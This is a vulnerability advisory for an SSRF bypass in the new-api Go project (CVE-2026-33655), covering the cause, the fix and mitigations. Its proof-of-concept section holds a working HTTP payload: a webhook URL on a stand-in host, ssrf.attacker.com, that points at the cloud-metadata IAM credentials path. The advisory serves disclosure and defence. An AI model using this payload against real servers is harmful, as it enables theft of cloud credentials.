high · 7.7CVE-2026-33655Jul 7, 2026

CVE-2026-33655: new-api SSRF Protection Bypass via Unresolved Hostname

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Authenticated users of new-api could point Webhook, Bark, or Gotify notification URLs at a hostname that resolves to an internal or cloud-metadata IP address, causing the server to make requests to…

Packagegithub.com/QuantumNous/new-api
Ecosystemgo
Affected< 0.12.0-alpha.1
Fixed in0.12.0-alpha.1

The problem

The FetchSetting struct shipped with ApplyIPFilterForDomain: false as its default. URL validation for notification endpoints (Webhook, Bark, Gotify) applied domain allow/block rules but skipped IP-range checks when the destination was a hostname rather than a bare IP literal.

Any authenticated user could register a notification URL whose hostname resolved to a private or link-local address (RFC 1918, 169.254.169.254, ::1, etc.). The server would fetch that URL at notification time, effectively turning the instance into an SSRF proxy reachable by low-privilege accounts.

Proof of concept

A working proof-of-concept for CVE-2026-33655 in github.com/QuantumNous/new-api, with the exact payload below.

http
# 1. Point an attacker-controlled domain at an internal target, e.g.:
#    ssrf.attacker.com  A  169.254.169.254

# 2. Authenticate as any regular user, then set a Webhook notification URL:
PATCH /api/user/setting
Content-Type: application/json
Authorization: Bearer <user_token>

{
  "webhook_url": "http://ssrf.attacker.com/latest/meta-data/iam/security-credentials/"
}

# 3. Trigger a notification event (e.g. quota alert) or call the test endpoint.
# The server resolves ssrf.attacker.com -> 169.254.169.254 and sends the request,
# returning cloud-metadata credentials in timing/error side-channels.

Root cause is a missing DNS-resolution step before IP filtering (CWE-918). ValidateURLWithFetchSetting in common/ssrf_protection.go accepted a hostname, checked it against the domain list, and returned without ever resolving the name and re-checking the resulting IP against the IP filter.

The ApplyIPFilterForDomain flag controlled whether that resolution step ran, and it defaulted to false.

The fix in commit 20399d3c changes the default of ApplyIPFilterForDomain to true in fetch_setting.go, so every hostname destination is now resolved and its IP is validated against the configured IP filter rules before the request is allowed.

The fix

Upgrade to v0.12.0-alpha.1 or any later release. The patch sets ApplyIPFilterForDomain: true as the new default in setting/system_setting/fetch_setting.go.

If an immediate upgrade is not possible: explicitly set ApplyIPFilterForDomain to true in your system settings, restrict notification URL domains to a strict allowlist, disable user-configurable notification URLs where not needed, and add outbound network egress rules at the host or network layer to block access to RFC 1918 and link-local ranges.

Reporter not attributed.

References: [1][2][3]

Related research